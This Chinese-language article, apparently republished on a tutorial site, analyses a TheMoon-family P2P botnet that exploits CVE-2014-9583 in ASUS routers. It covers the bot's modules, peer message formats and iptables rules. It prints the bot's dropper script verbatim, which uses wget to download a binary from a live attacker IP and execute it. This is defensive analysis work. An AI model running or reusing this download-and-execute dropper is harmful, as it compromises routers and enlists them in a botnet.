僵尸網絡是指采用一種或多種傳播手段,是指實現惡意控制功能的程序代碼,在控制者和被感染主機之間所形成的一個可一對多控制的網絡。

下圖是利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。

CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請求的MAC地址。遠程攻擊者可通過向UDP 9999端口發送NET_CMD_ID_MANU_CMD數據包利用該漏洞繞過身份驗證,執行任意命令。詳情參見GitHub
以下是bot從網站http://78.128.92.137:80/ 自動下載的nmlt1.sh文件內容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器將會從攻擊者控制的網站上自動下載并執行.nttpd文件,.nttpd運行后將成為駐留進程。以下為.nttpd文件哈希信息

該bot程序屬于TheMoon惡意軟件系列,程序結構如下:

該bot程序主要不同在于os_init和 run_modules函數,os_init中插入了8個iptables規則:

為了獲得感染設備的絕對控制權,防止反復感染,其中第一條規則通過關閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規則是關閉多個端口,阻止其它攻擊者利用D-Link的一個遠程命令執行漏洞。其余為bot程序建立的網絡通信規則。
在run_modules中,bot加載了3個模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個線程,一個用來計時,一個用來同步,它通過查詢公開NTP服務器保持UTC時間。抓包發現bot與NTP服務器之間的請求回應流量

Net模塊
該模塊開啟了UDP 5143端口,并創建了一個P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結構:
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
當bot接收到消息時,TTL值以1遞減,并把消息轉發給其它對等結點(peer),下圖為向其它peer節點轉發消息的底層代碼

Register message(注冊消息)
該消息類型標記為0,當所有模塊加載完畢,消息將被轉發給其它對等網絡,包括iptables規則中的其它網絡:



消息體由兩個雙字字符串組成,其中0x6d6163f4為特定變量,而00000xx為對等網絡值。在轉發完該消息類型之后,bot程序會自動把發送方添加為自身對等結點(peer),以此擴大傳播感染面。
RegistertTo message(判斷消息)
該消息類型標記也為0,但消息體為12個字節。如果第三個雙字字符不為0,程序將會向特定IP發送register message消息進行注冊。否則,將會向發送方持續請求register message,保持通信。下圖為bot程序接收到的Register To消息流量包

FetchCommand message (控制消息)
該消息類型標記為1,消息體結構如下:
Offset Size Description
0 4 Peer IP address
4 4 Command id
8 4 Command size (Maximum 0x19001)
12 n file name(n8)
以下為bot接收到的FetchCommand消息流量包

之后,bot程序會把消息內容儲存在Pending Command內為后續DWL模塊使用:
Struct PendingCommand
{
DWORD ip;
DWORD cmd_id;
DWORD cmd_size;
CHAR filename[8];
};
DWL模塊
該模塊創建讀取PendingCommand內容的進程,之后,程序通過TCP 4543端口向特定IP發送請求文件名和命令ID:

特定IP返回請求文件,bot儲存響應信息并執行文件。下圖為請求執行過程的底層實現代碼:

總結
TheMoon惡意軟件于2014年被SANS發現,主要以路由器為目標,利用漏洞植入感染。從底層代碼來看,TheMoon還以華碩(ASUS)和 Linksys路由器為特定目標。通過分析可以看出,TheMoon使用iptables規則進行通信的P2P感染機制還不太成熟,另外,其不加密的通信可被輕易發現和分析。
以上就是VEVB武林網小編為大家講解的感染華碩路由器的P2P僵尸網絡程序的教程,需要的用戶快來看看吧,想了解更多精彩教程請繼續關注VEVB武林網網站!
新聞熱點
疑難解答